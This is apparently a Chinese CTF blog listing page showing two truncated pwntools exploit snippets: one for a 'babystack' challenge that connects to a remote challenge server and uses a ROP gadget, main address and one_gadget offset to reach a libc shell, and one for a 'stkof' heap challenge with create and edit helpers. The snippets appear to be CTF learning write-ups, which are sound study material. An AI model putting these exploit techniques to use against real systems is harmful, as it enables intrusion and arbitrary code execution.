pppp974的博客

注意：上方是高地址，下方是低地址。

#!/usr/bin/env pythonfrom pwn import *elf=ELF('./babystack')libc=ELF('./libc-2.23.so')p=remote('111.198.29.45',30865)prdi_addr=0x400a93main_addr=0x400908one_gadget=0x45216//找到库中('bin/sh')的相对地址...

from pwn import *p= process("./stkof")libc = ELF("./libc.so.6")elf = ELF("./stkof")def create(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OK\n')def edit(index,size,content): p...